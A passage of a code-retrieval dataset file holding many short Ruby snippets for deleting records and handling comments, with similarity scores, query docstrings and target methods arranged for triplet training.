"def destroy\n respond_with ApidDrive.find(params[:id])\n end",
"def delete\n object.delete(:version_id => @version_id)\n end",
"def destroy\n result = nil\n obj = self.inst_strip_braces(self.object)\n if obj\n # first delete the record from viewable list\n result = Rhom::RhomDbAdapter::delete_from_table(Rhom::TABLE_NAME,\n {\"object\"=>obj})\n # now add delete operation\n result = Rhom::RhomDbAdapter::insert_into_table(Rhom::TABLE_NAME,\n {\"source_id\"=>self.get_inst_source_id,\n \"object\"=>obj,\n \"update_type\"=>'delete'})\n end\n result\n end",
"def delete\n begin\n object = bucket.objects.find(@path)\n object.destroy\n true\n rescue Exception => e\n # If the file's not there, don't panic\n nil\n end\n end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy; end",
"def destroy\n # delete object from the DB\n # DB.execute(\"DELETE .....\")\n end",
"def destroy\n @api_vi_place.destroy\n end",
"def delete\n \n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @ozone.destroy\n\n end",
"def destroy!(sobject, id)\n api_delete \"sobjects/#{sobject}/#{id}\"\n true\n end",
"def destroy\n @flight.destroy\n head :no_content\n end",
"def delete(path)\n bucket.objects.delete(path)\n end",
"def destroy\n @place.destroy\n \n \n end",
"def delete!\n delete(:force => true)\n nil\n end",
"def destroy\r\n end",
"def delete!\n clear!\n delete\n end",
"def destroy\r\n end",
"def destroy\r\n end",
"def destroy\r\n\r\n end",
"def delete\n end",
"def destroy\n @place.destroy\n head :no_content\n end",
"def delete\n destroy\n end",
"def destroy!; end",
"def delete\n ensure_service!\n service.delete_instance path\n true\n end",
"def delete_from_disk; end",
"def delete\n end",
"def delete(oid)\n end",
"def destroy\n @car.destroy\n\n head :no_content\n end",
"def destroy\n @sf_sobject = Sfsync::Sobject.find(params[:id])\n @sf_sobject.destroy\n \n respond_to do |format|\n format.html { redirect_to sf_sobjects_url }\n format.json { head :no_content }\n end\n end",
"def delete\n # TODO: implement delete\n end",
"def del\n delete\n end",
"def deleteWaypoint _wp\n SQF.deleteWaypoint _wp\n end",
"def destroy\n @farm.destroy\n end",
"def delete_object(object)\n store = nil\n file = nil\n game_object_id = nil\n game_object = nil\n\n if not object.is_a? GameObject\n game_object_id = object\n\n open_store \"goids\" do |gd|\n file = gd[game_object_id]\n end\n\n if file.nil?\n log \"No file found for that goid (#{game_object_id})\"\n return nil\n end\n else\n game_object_id = object.game_object_id\n file = object.class.to_s\n end\n\n open_store(file, false) do |gd|\n gd.delete(game_object_id)\n end\n\n open_store(\"goids\", false) do |gd|\n gd.delete(game_object_id)\n end\n end",
"def destroy\n orchio_delete\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def delete\n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def delete force: false\n clear! if force\n\n ensure_service!\n service.delete_zone id\n true\n end",
"def delete\n @one.info\n @one.delete\n end",
"def destroy\n\n end",
"def delete\n code = @session.delete_research_object(@uri)[0]\n @loaded = false\n code == 204\n end",
"def destroy \r\n\r\n end",
"def destroy_resource object\n object.destroy\n end",
"def destroy!\r\n self.class.service_instance.delete_blob(path)\r\n end",
"def destroy\n @object = @id = delete_object(URI.parse(getter_url))\n end",
"def destroy\n @cow_dairy.destroy\n end",
"def delete!\n delete( nil, true ) \n end",
"def destroy\n @doppelte_object.destroy\n respond_to do |format|\n format.html { redirect_to doppelte_objects_url, notice: 'Doppelte object was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @zona = Zona.find(params[:id])\n @zona.destroy\n\n respond_to do |format|\n format.html { redirect_to zone_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @light.destroy\n\n head :no_content\n end",
"def destroy\n @reflection.destroy\n head :no_content\n end",
"def destroy\n @cow_shade.destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end",
"def destroy\n end"
] |
[
"0.73198676",
"0.7152543",
"0.7133676",
"0.7117471",
"0.6916132",
"0.690742",
"0.6889391",
"0.68184817",
"0.68184817",
"0.68184817",
"0.68184817",
"0.6805604",
"0.6693671",
"0.6682183",
"0.66669637",
"0.6666567",
"0.6660003",
"0.6654303",
"0.6654303",
"0.66408736",
"0.6631474",
"0.6601175",
"0.65783125",
"0.65717715",
"0.65593636",
"0.65593636",
"0.65593636",
"0.65593636",
"0.65593636",
"0.65593636",
"0.65593636",
"0.65593636",
"0.65593636",
"0.65593636",
"0.6553403",
"0.6547317",
"0.65454024",
"0.6539566",
"0.6539566",
"0.6539566",
"0.6539566",
"0.6538584",
"0.6535311",
"0.6532474",
"0.6525164",
"0.6522702",
"0.65171367",
"0.6510685",
"0.6510235",
"0.649332",
"0.649332",
"0.6486784",
"0.64721507",
"0.64627916",
"0.64605737",
"0.6459226",
"0.64583975",
"0.644856",
"0.64405787",
"0.64400524",
"0.6439173",
"0.64339054",
"0.64272714",
"0.64252555",
"0.6422692",
"0.64171493",
"0.64122707",
"0.6405788",
"0.64003146",
"0.64003146",
"0.64003146",
"0.64003146",
"0.64003146",
"0.6397208",
"0.63971967",
"0.63971967",
"0.63971967",
"0.63971967",
"0.63971967",
"0.63971967",
"0.63971967",
"0.63958186",
"0.63939893",
"0.63917905",
"0.6378985",
"0.6371506",
"0.6360887",
"0.6356132",
"0.6349209",
"0.63479745",
"0.63464165",
"0.6346045",
"0.6344788",
"0.6344071",
"0.6339247",
"0.6328664",
"0.63218707",
"0.632186",
"0.632186",
"0.632186",
"0.632186"
] |
0.0
|
-1
|
A value that indicates whether this object can be embedded
|
def is_embeddable?
object["is_embeddable"]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def embedded?\n @embedded == true\n end",
"def embedded?\n false\n end",
"def embedded?\n self.class.embedded?\n end",
"def embedded?\n false\n end",
"def allowed?\n true\n end",
"def embedded?\n true\n end",
"def allowed?\n true\n end",
"def allowed?\n true\n end",
"def embedded?; false; end",
"def allowed?\n allowed\n end",
"def embedded?\n @embedded ||= (cyclic ? _parent.present? : self.class.embedded?)\n end",
"def embed_records?\n !!@embedded\n end",
"def embedded?; true; end",
"def embedded?; true; end",
"def display_embedded?\n display_as == 'embedded'\n end",
"def allowed?; true end",
"def applicable?\n true\n end",
"def can_have_associated_objects?(obj)\n true\n end",
"def needs_permission_badge?\n solr_document.visibility != Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PUBLIC\n end",
"def allowed?(*_)\n true\n end",
"def primitive?\n false\n end",
"def allowed?() raise NotImplementedError end",
"def embedded_one?\n metadata && metadata.macro == :embeds_one\n end",
"def applicable?\n true\n end",
"def permitted?\n @permitted\n end",
"def embedded_many?\n metadata && metadata.macro == :embeds_many\n end",
"def valid_annotation?\n !(self.queued_for_deletion || self.study.queued_for_deletion || self.publishing)\n end",
"def can_have_value?\n return true\n end",
"def value\n true\n end",
"def primitive?\n false\n end",
"def can_have_value?()\n return true\n end",
"def embedded_in?; false; end",
"def published?\n !is_privacy_private? && (!builder? || !derived? || mapcapped?)\n end",
"def can_have_value?\n return false\n end",
"def is_allowed?\n self.allowed.include?(@architecture)\n end",
"def allows_document?\n self.allows_title? && ![TITLE, COVER].include?(self.kind)\n end",
"def special?\n return data.atk_class == 2\n end",
"def is_special?\n\n [ '*embedded*', '*untracked*' ].include?(self.name)\n end",
"def valid?\n MANDATORY_ATTRIBUTES[type].each{|a| return false unless self[a]}\n true\n end",
"def value_constructed_by_mass_assignment?(_value)\n false\n end",
"def custom_fields_allowed?\n true\n end",
"def possibly_include_hidden?; end",
"def object_type?\n !value_type?\n end",
"def can_have_associated_objects?(obj)\n !self[:keys].any?{|k| obj.get_column_value(k).nil?}\n end",
"def in_use?\n published? || has_answers? || has_choices?\n end",
"def non_quest_attribute\n !!(controller == \"inspirations\" || controller == \"family_members\" || controller == \"subscriptions\" || controller == \"disciplines\" || controller == \"priority_items\")\n end",
"def can_construct_from_id_alone?(properties)\n super && @restricted_to_types && @restricted_to_types.length == 1\n end",
"def resource?\n true\n end",
"def permissions?\n proprieties[:permissions]\n end",
"def use_hidden_objects?\n end",
"def can_have_associated_objects?(obj)\n !self[:left_primary_keys].any?{|k| obj.get_column_value(k).nil?}\n end",
"def resource?\n !reference?\n end",
"def publishable?\n false\n end",
"def is_showable\n return true unless self.is_hidden or self.is_deleted or self.status == \"tmp\"\n end",
"def allow_access_to_data?\n type == :normal\n end",
"def allow_member?\n true\n end",
"def identifiable?\n true\n end",
"def is_allow?\n type == :A\n end",
"def scribdable?\n ContentTypes.include?(get_content_type) && ipaper_id.blank?\n end",
"def allowed?\n return self.connected_to_padma?\n end",
"def allowed?\n raise \"Unimplemented 'allowed?' for intention: #{self.inspect}!\"\n end",
"def can_have_associated_objects?(obj)\n !self[:primary_keys].any?{|k| obj.get_column_value(k).nil?}\n end",
"def settable?()\n @definition.writeable?\n end",
"def limit_modeling?\n !self[:modeling].nil? && self[:modeling] == false\n end",
"def viewable?\n published? || created? || editing?\n end",
"def restrictible?\n config.restrictable.equal?(true)\n end",
"def published?\n all_base_attributes_present?\n end",
"def qualifiable?\n !source.nil?\n end",
"def custom?\n @custom\n end",
"def viewable?\n !!status[:viewable]\n end",
"def attribute?\n false\n end",
"def embeds_one?; false; end",
"def ability?\n self.__ability.present?\n end",
"def published_with_inheritance?\n return false unless published?\n return true if teachable_type == 'Course'\n teachable.lecture.published?\n end",
"def visible?\n model.respond_to?(:visibility) && model.visibility.include?(Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PUBLIC)\n end",
"def valid?\n return false if !super\n return false if @is_object_icon.nil?\n true\n end",
"def public?\n self.privacy == PUBLIC\n end",
"def allow_many?\n @allow_many == true\n end",
"def has_preview?\n\t\tnot parents.map(&:visitable).include?(false)\n\tend",
"def parentable?\n false\n end",
"def recommendable?() false end",
"def soyEdificable\n false\n end",
"def editing_supported?\n !(is_multivalued? || is_resource?)\n end",
"def internal?\n self.internal\n end",
"def literal?\n false\n end",
"def literal?\n false\n end",
"def literal?\n false\n end",
"def has_parent?\n ! embedded['parent'].nil?\n end",
"def field?\n true \n end",
"def supports?(another_object)\n another_object.class.ancestors.include?(ActivityFeed::Serializable) &&\n instance[another_object.class.af_type_id.to_sym]\n end",
"def writeable?\n true\n end",
"def limit_custom?\n !self[:custom].nil? && self[:custom] == false\n end",
"def allows?\n return positive? unless @attributes.empty?\n protected_attributes.nil? || protected_attributes.empty?\n end",
"def supports_is_true?\n false\n end",
"def object_type?\n @data[:object_type]\n end",
"def attribute?\n @attribution\n end",
"def permitted_for_research_object?(item = self)\n if item.is_downloadable?\n item.can_download?(nil)\n else\n item.can_view?(nil)\n end\n end",
"def releasable?(obj)\n \tif is_approved_draft?(obj.release_status)\n \t\tif is_section_head?\n \t\t\tif (obj.uploader_role == 'Normal' && uploader_from_same_section(obj.uploaded_by_section))\n \t\t\t\ttrue\n \t\t\tend\n \t\telsif is_department_head?\n \t\t\tif obj.uploader_role == 'Sectionhead'\n \t\t\t\ttrue\n \t\t\tend\n \t\tend\n \tend\n end",
"def public?\r\n restriction_level == Relationshiptype.everyone\r\n end",
"def valid_for_nested_creation?\n\t\tself.operator.present? && self.logic_type.present? && self.system_option_id.present?\n\tend"
] |
[
"0.70913744",
"0.70547324",
"0.70313805",
"0.7007512",
"0.6998188",
"0.6970036",
"0.69360363",
"0.69360363",
"0.6758669",
"0.67512167",
"0.66850674",
"0.662582",
"0.65062636",
"0.65062636",
"0.64918816",
"0.64778477",
"0.6449",
"0.63562036",
"0.62874985",
"0.62709963",
"0.626719",
"0.6239799",
"0.6237955",
"0.6230189",
"0.6221063",
"0.62062865",
"0.6200414",
"0.6195786",
"0.61863947",
"0.61760414",
"0.61393404",
"0.6126861",
"0.61212474",
"0.6084454",
"0.60767657",
"0.6052777",
"0.60405606",
"0.6034304",
"0.60214275",
"0.6021347",
"0.60025567",
"0.59977716",
"0.59919757",
"0.59636855",
"0.5962844",
"0.5955905",
"0.5954882",
"0.59545773",
"0.59543425",
"0.59511185",
"0.5949816",
"0.59444",
"0.59430027",
"0.5942517",
"0.59419954",
"0.5940955",
"0.593658",
"0.59295106",
"0.5924052",
"0.59222275",
"0.5918586",
"0.59167325",
"0.59162265",
"0.59144664",
"0.59080094",
"0.59073776",
"0.5902752",
"0.589874",
"0.5890088",
"0.58882755",
"0.5882963",
"0.5878905",
"0.5875998",
"0.5870955",
"0.5870314",
"0.5869406",
"0.5868246",
"0.5857676",
"0.58548886",
"0.58494514",
"0.584826",
"0.5847191",
"0.5843175",
"0.5840104",
"0.5817745",
"0.5817745",
"0.5817745",
"0.5813704",
"0.58083427",
"0.58079225",
"0.5800608",
"0.57997143",
"0.579732",
"0.57941324",
"0.5791964",
"0.5787831",
"0.578667",
"0.5785823",
"0.5782901",
"0.5782474"
] |
0.74746305
|
0
|
Comments associated with the object
|
def comments
client.get("/#{id}/comments")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def comments; end",
"def comments; end",
"def comments; end",
"def comments; end",
"def comments; end",
"def comments; end",
"def comment\n @ole.Comment\n end",
"def comment\n @comment\n end",
"def comments\n @comments\n end",
"def comments\n @comments\n end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def customer_comments\n end",
"def comments\n @data['comments']\n end",
"def comments\n @data['comments']\n end",
"def comments\n @data['comments']\n end",
"def comment\n cyc.comment(self.to_sym)\n end",
"def comments\n @comments\n end",
"def comments\n @comments\n end",
"def comment comment\n end",
"def description\n markup @comment\n end",
"def comment\n if object.paymentterm && object.paymentterm.description\n object.paymentterm.description\n else\n object.comment\n end\n end",
"def return_comment\n @comments\n end",
"def one_line_description(opts={}) ; attributes['comments'] ; end",
"def comments\n get_ticket_property_list(\"comments\" , Unfuddled::Comment)\n end",
"def comment\n return @comment\n end",
"def comment\n return @comment\n end",
"def comment\n @attributes[:comment]\n end",
"def comments\n @docstring.all\n end",
"def getComments\r\n\t\t\t\t\treturn @comments\r\n\t\t\t\tend",
"def comments\n object.comments.approved\n end",
"def create_comments\n end",
"def create_comments\n end",
"def create_comments\n end",
"def comment?; end",
"def comment?; end",
"def mass_comment_creator\n @comments.each do |comment|\n @obj_comments << Comment.new(comment).comment_text\n end\n end",
"def comments\n\t\t\t@comments ||= read_comments\n\t\tend",
"def create\n\t\t\tsuper\n\t\t\tprintComments\n\t\tend",
"def comments\n pull_comments\n @comments_list\n end",
"def show\n @comment = Comment.new\n @comments = @need.comments\n end",
"def list_comments\n hc = if has_comments_valided?\n comments(valided: true).collect do |dcom|\n next unless dcom[:ok]\n (\n (dcom[:ps] + ', le ' + dcom[:at].as_human_date).in_div(class: 'c_info') +\n traite_comments(dcom[:c]).in_div(class: 'c_content') + \"\".in_div(class: 'clear')\n ).in_div(class: 'comment')\n end.join('')\n else\n \"Aucun commentaire sur cet article pour le moment.\".in_div(class: 'italic small')\n end\n hc.prepend('<a name=\"lire_comments\"></a>')\n return hc\n end",
"def comment(text)\n self.comment(self.id, text)\n end",
"def comments\n [ExpenseItemComment.new(self.description)]\n end",
"def show\n @comments = @idea.comments\n\n end",
"def get_comment\n\t\treturn @comment\n\tend",
"def comments\n @properties[\"C\"]\n end",
"def comment=(value)\n @comment = value\n end",
"def comment=(value)\n @comment = value\n end",
"def comments\n @comments.values\n end",
"def comment(value)\n @ole.Comment = value\n nil\n end",
"def comment\n @name\n end",
"def show\n @comment = Comment.new\n @comments = @lection.comments.order( \"updated_at DESC\")\n end",
"def comments\n object.comments.where(:user_id => current_user)\n end",
"def description\n comment_sections.first\n end",
"def show\n @comment = Comment.new( :inspiration => @inspiration )\n @comments = Comment.where(inspiration_id: @inspiration.id)\n end",
"def comments\n expose Challenge.comments(@oauth_token, params[:challenge_id].strip)\n end",
"def as_comment_body\n\t\treturn self.inspect\n\tend",
"def comment\n upgrade_to_v2 \n return read_attribute(:comment)\n end",
"def comment str\n self.add_comment(\"This is a paragraph comment for the paragraph\", \"OCELOT Commenter\");\n end",
"def to_s\n output = \n 'COMMENT:' + \"\\n\" +\n 'AUTHOR: ' + self.author.author_name + \"\\n\" +\n 'EMAIL: ' + self.comment_email + \"\\n\" +\n 'IP: ' + self.comment_ip + \"\\n\" +\n 'URL: ' + self.comment_url + \"\\n\" +\n 'DATE: ' + self.comment_created_on.strftime(EXPORT_DATE_FORMAT) + \"\\n\" +\n self.comment_text + \"\\n\" +\n ATTRIBUTE_BREAK\n output\n end",
"def inspect\n generate_inspect(self, :comment, :cache)\n end",
"def comments(post_id)\n records \"comment\", \"/msg/comments/#{post_id}\"\n end",
"def details(id, params = {})\n wrike.execute(:get, api_url(\"comments/#{id}\"), params)\n end",
"def index\n @comments = @commentable.comments\n end",
"def show\n @comments = @item.comments\n end",
"def list \n @comment = Comment.all\n end",
"def show\n @comments = @bible_study.comments.all\n @comment = @bible_study.comments.build\n end",
"def document\n comment_code\n super\n end",
"def comments=(_arg0); end",
"def comments=(_arg0); end",
"def comments=(_arg0); end",
"def comments=(_arg0); end",
"def comments=(_arg0); end",
"def comment(comment_hash)\n time = Time.parse(comment_hash[:updated]).strftime('%b %d %H:%m')\n author = set_color(\" -- #{comment_hash[:author][:name]}\", :cyan)\n byline = \"#{author} | #{time}\\n\"\n\n [comment_hash[:body], byline].join(\"\\n\")\n end",
"def show_comments(post_num_input)\n puts ''\n puts '----COMMENTS----'\n BLOG[post_num_input].comments.each do |x|\n puts x.username\n puts x.comment\n puts ''\n end\n puts ''\n end",
"def show\n @commentable = @rfq\n @comments = @commentable.comments\n @comment = Comment.new\n end",
"def show\n new_comment\n end",
"def show\n @comment = @plan.comments.new\n @comments = @plan.comments\n end",
"def show\n @comments = @shogi.comments.all\n @comment = @shogi.comments.build\n end",
"def comments(*options)\n options.insert 0, project_id\n options.insert 1, id\n easy_finder(provider_parent(self.class)::Comment, :all, options, 2)\n end",
"def show\n #Hicbir sey yazmasa da olur!!!\n setComment\n end",
"def comments\n @mapped_comments ||= Basecamp3::Comment.all(bucket.id, id)\n end",
"def comments(options={})\n self.class.parse_comments(request(singular(user_id) + \"/comments\", options))\n end",
"def comments(options={})\n parse_comments(request(singular(id) + \"comments\", options))\n end"
] |
[
"0.73357904",
"0.73357904",
"0.73357904",
"0.73357904",
"0.73357904",
"0.73357904",
"0.72653246",
"0.7259999",
"0.7080065",
"0.7036302",
"0.6994462",
"0.6994462",
"0.6994462",
"0.6994462",
"0.6994462",
"0.6994462",
"0.6994462",
"0.6994462",
"0.6994462",
"0.6994462",
"0.6994462",
"0.6994462",
"0.6994462",
"0.6994462",
"0.6994462",
"0.6994462",
"0.6994462",
"0.6988597",
"0.69578445",
"0.69578445",
"0.69578445",
"0.6936995",
"0.6929621",
"0.6929621",
"0.69163525",
"0.6848503",
"0.68180245",
"0.6778085",
"0.67676175",
"0.6756394",
"0.6734551",
"0.6734551",
"0.6731891",
"0.6725025",
"0.66706103",
"0.66696364",
"0.66690415",
"0.66690415",
"0.66690415",
"0.66579646",
"0.66579646",
"0.66488594",
"0.6641477",
"0.660286",
"0.65996754",
"0.65878797",
"0.65602225",
"0.6556574",
"0.65465325",
"0.6532518",
"0.6519747",
"0.6453519",
"0.64361185",
"0.64361185",
"0.6432548",
"0.6422248",
"0.6394902",
"0.6393201",
"0.63780487",
"0.6374274",
"0.636045",
"0.6351698",
"0.6351591",
"0.63417166",
"0.63214165",
"0.63111365",
"0.6304922",
"0.62966084",
"0.6279962",
"0.62780917",
"0.62726265",
"0.6271265",
"0.625799",
"0.62506217",
"0.6229127",
"0.6229127",
"0.6229127",
"0.6229127",
"0.6229127",
"0.62237537",
"0.6208808",
"0.61923707",
"0.6190989",
"0.61832416",
"0.617369",
"0.61671275",
"0.6164463",
"0.6163849",
"0.6149964",
"0.6149735"
] |
0.63525516
|
71
|
Make a comment about the object
|
def comment options={}
client.post("/#{id}/comments", options)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment; end",
"def comment\n cyc.comment(self.to_sym)\n end",
"def comment name\n\t\tempty = \"//\\n\"\n\n\t\tret = ''\n\t\tret << empty << empty\n\t\tret << \"// #{name}\\n\"\n\t\tret << \"// This is an object created by COBGIN\\n\"\n\t\tret << empty << empty\n\t\tret << \"// by Mickey Barboi\\n\"\n\t\tret << empty << empty << \"\\n\\n\"\n\n\t\tret\n\tend",
"def comment comment\n end",
"def comment str\n self.add_comment(\"This is a paragraph comment for the paragraph\", \"OCELOT Commenter\");\n end",
"def comment?; end",
"def comment?; end",
"def add_comment comment\n \"\\n###### #{comment} ######\\n\" \n end",
"def comment(str)\n @out.comment(str)\n end",
"def store_obj_comment(obj_id) #:nodoc:\n record = 0x005D # Record identifier\n length = 0x0034 # Bytes to follow\n\n obj_type = 0x0019 # Object type (comment).\n data = '' # Record data.\n\n sub_record = 0x0000 # Sub-record identifier.\n sub_length = 0x0000 # Length of sub-record.\n sub_data = '' # Data of sub-record.\n options = 0x4011\n reserved = 0x0000\n\n # Add ftCmo (common object data) subobject\n sub_record = 0x0015 # ftCmo\n sub_length = 0x0012\n sub_data = [obj_type, obj_id, options, reserved, reserved, reserved].pack( \"vvvVVV\")\n data = [sub_record, sub_length].pack(\"vv\") + sub_data\n\n # Add ftNts (note structure) subobject\n sub_record = 0x000D # ftNts\n sub_length = 0x0016\n sub_data = [reserved,reserved,reserved,reserved,reserved,reserved].pack( \"VVVVVv\")\n data = data + [sub_record, sub_length].pack(\"vv\") + sub_data\n\n # Add ftEnd (end of object) subobject\n sub_record = 0x0000 # ftNts\n sub_length = 0x0000\n data = data + [sub_record, sub_length].pack(\"vv\")\n\n # Pack the record.\n header = [record, length].pack(\"vv\")\n\n append(header, data)\n\n end",
"def comment(string); end",
"def comment(string); end",
"def comment(string); end",
"def comment(string); end",
"def nice_comment\n @res.write THANK_YOU_COMMENT\n end",
"def create_comment(string, &block); end",
"def create_comment(string, &block); end",
"def one_line_description(opts={}) ; attributes['comments'] ; end",
"def description\n markup @comment\n end",
"def add_comment(comment)\n \"\\n+++++++++++++++++++++++++++++++++++++++++ #{comment} ++++++++++++++++++++++++++++++++++++++++++++++\\n\"\n end",
"def comment=(_arg0); end",
"def comment=(_arg0); end",
"def comment=(_arg0); end",
"def comment=(_arg0); end",
"def create\n\t\t\tsuper\n\t\t\tprintComments\n\t\tend",
"def comment(id)\n record \"/msg/comment/#{id}\"\n end",
"def comment\n @comment\n end",
"def comment\n if object.paymentterm && object.paymentterm.description\n object.paymentterm.description\n else\n object.comment\n end\n end",
"def comment\n @name\n end",
"def add_comment(comment); end",
"def string_for_class_entity e\n comment = \n\"/** <#(brief description of #{e.name})#>\n\n <#(comprehensive description)#>\n*/\"\n end",
"def comment\n @ole.Comment\n end",
"def comment(value)\n @ole.Comment = value\n nil\n end",
"def new_comment comment, line_no = nil\n c = RDoc::Comment.new comment, @top_level, :ruby\n c.line = line_no\n c.format = @markup\n c\n end",
"def create_comment(note,comment_text)\n Comment.create(:commentable_type=>note.class.name,:commentable_id=>note.id,:created_by_user_id=>current_user.id,\n :comment=>comment_text,:company_id=>note.company_id,:title=>note.class.name)\n end",
"def wine_comment\n end",
"def comment message\n @instructions << Comment.new(message)\n self\n end",
"def comment(comment_hash)\n time = Time.parse(comment_hash[:updated]).strftime('%b %d %H:%m')\n author = set_color(\" -- #{comment_hash[:author][:name]}\", :cyan)\n byline = \"#{author} | #{time}\\n\"\n\n [comment_hash[:body], byline].join(\"\\n\")\n end",
"def rude_comment\n @res.write GO_AWAY_COMMENT\n end",
"def comment_string\n @comment_syntax.string_for_method_entity self\n end",
"def document\n comment_code\n super\n end",
"def comments; end",
"def comments; end",
"def comments; end",
"def comments; end",
"def comments; end",
"def comments; end",
"def getComment(var)\n return \"@* \" << var.text << \" *@\\n\"\n end",
"def genFileComment(cls, bld)\r\n end",
"def genFileComment(cls, bld)\r\n end",
"def genFileComment(cls, bld)\r\n end",
"def genFileComment(cls, bld)\r\n end",
"def genFileComment(cls, bld)\r\n end",
"def comment(text)\n self.comment(self.id, text)\n end",
"def mass_comment_creator\n @comments.each do |comment|\n @obj_comments << Comment.new(comment).comment_text\n end\n end",
"def to_s\n output = \n 'COMMENT:' + \"\\n\" +\n 'AUTHOR: ' + self.author.author_name + \"\\n\" +\n 'EMAIL: ' + self.comment_email + \"\\n\" +\n 'IP: ' + self.comment_ip + \"\\n\" +\n 'URL: ' + self.comment_url + \"\\n\" +\n 'DATE: ' + self.comment_created_on.strftime(EXPORT_DATE_FORMAT) + \"\\n\" +\n self.comment_text + \"\\n\" +\n ATTRIBUTE_BREAK\n output\n end",
"def create_comment(content)\n DOM(`#@native.createComment(#{content})`)\n end",
"def createComment(data)\n ret = Comment.new(data)\n ret.ownerDocument = self\n ret\n end",
"def create_comments\n end",
"def create_comments\n end",
"def create_comments\n end",
"def comment(text)\n comments << text\n end",
"def comment_describing(line_number)\n self.class.comment_describing(raw, line_number)\n end",
"def comment_describing(line_number)\n self.class.comment_describing(raw, line_number)\n end",
"def as_comment_body\n\t\treturn self.inspect\n\tend",
"def banner\n \"Usage: #{$0} cmt ModelName field:type, field:type\"\n end",
"def obj_comment_record(obj_id) #:nodoc:\n record = 0x005D # Record identifier\n length = 0x0034 # Bytes to follow\n\n obj_type = 0x0019 # Object type (comment).\n data = '' # Record data.\n\n sub_record = 0x0000 # Sub-record identifier.\n sub_length = 0x0000 # Length of sub-record.\n sub_data = '' # Data of sub-record.\n options = 0x4011\n reserved = 0x0000\n\n # Add ftCmo (common object data) subobject\n sub_record = 0x0015 # ftCmo\n sub_length = 0x0012\n sub_data = [obj_type, obj_id, options, reserved, reserved, reserved].pack( \"vvvVVV\")\n data = [sub_record, sub_length].pack(\"vv\") + sub_data\n\n # Add ftNts (note structure) subobject\n sub_record = 0x000D # ftNts\n sub_length = 0x0016\n sub_data = [reserved,reserved,reserved,reserved,reserved,reserved].pack( \"VVVVVv\")\n data += [sub_record, sub_length].pack(\"vv\") + sub_data\n\n # Add ftEnd (end of object) subobject\n sub_record = 0x0000 # ftNts\n sub_length = 0x0000\n data += [sub_record, sub_length].pack(\"vv\")\n\n # Pack the record.\n header = [record, length].pack(\"vv\")\n\n header + data\n end",
"def comment _args\n \"comment _args;\" \n end",
"def getComment(var)\n return \"/* \" << var.text << \" */\\n\"\n end",
"def make_comment(content, user)\n return if content.blank?\n comment = PublicEarth::Db::Comment.new(PublicEarth::Db::Discussion.one.comment(self.id, user.id, content))\n @comments << comment\n comment\n end",
"def format_comment(comment)\n comment\n end",
"def comment(value)\n merge(comment: value.to_s)\n end",
"def write_comment(message)\n GitHub.add_comment repo_name, number, \":octocat: #{message}\"\n rescue Octokit::UnprocessableEntity => error\n raise CommentFailed, \"Unable to write the comment: '#{error.message}'\"\n end",
"def comment=(value)\n @comment = value\n end",
"def comment=(value)\n @comment = value\n end",
"def make_node_comment( node )\n\t\tcomment_body = node.as_comment_body or return ''\n\t\treturn self.make_comment( comment_body )\n\tend",
"def comment(text)\n @out << \"<!-- #{text} -->\"\n nil\n end",
"def on_comment(msg)\n end",
"def comment\n Comment.new(@params[\"lf_comment_id\"], conversation,\n :body => @params[\"body_text\"],\n :user => user,\n :parent_id => @params[\"lf_parent_comment_id\"],\n :author_ip => @params[\"author_ip\"],\n :state => @params[\"state\"]\n )\n end",
"def comment(text, options = {})\n requires :identity\n\n options[:public] = true if options[:public].nil?\n\n comment = Zendesk2.stringify_keys(options).merge('body' => text)\n\n cistern.ticket_comments.new(\n cistern.update_ticket(\n 'ticket' => {\n 'id' => identity,\n 'comment' => comment,\n }\n ).body['audit']['events'].first\n )\n end",
"def create_comment(string, &block)\n Nokogiri::XML::Comment.new(self, string.to_s, &block)\n end",
"def add_comment(comment)\n @comment += comment + \"\\n\"\n end",
"def show\n @comment = Comment.new\n @title = \"Dhokebaaz profile of #{@dhokebaaz.dhokebaaz_name} #{@dhokebaaz.last_name} #{@dhokebaaz.address} #{@dhokebaaz.city}\"\n end",
"def write_comment(text)\n puts \"# #{text.chomp}\" # TODO: correctly output multi-line comments\n end",
"def write_comment(text)\n puts \"# #{text.chomp}\" # TODO: correctly output multi-line comments\n end"
] |
[
"0.73253113",
"0.73253113",
"0.73253113",
"0.73253113",
"0.73253113",
"0.73253113",
"0.73253113",
"0.73253113",
"0.73253113",
"0.73253113",
"0.73253113",
"0.73253113",
"0.73253113",
"0.73253113",
"0.73253113",
"0.73253113",
"0.73253113",
"0.72900385",
"0.7229316",
"0.7059593",
"0.70015526",
"0.6956805",
"0.6956805",
"0.68861467",
"0.6733546",
"0.67252356",
"0.6721456",
"0.6721456",
"0.6721456",
"0.6721456",
"0.67069894",
"0.6683809",
"0.6683809",
"0.66656774",
"0.66591614",
"0.6650527",
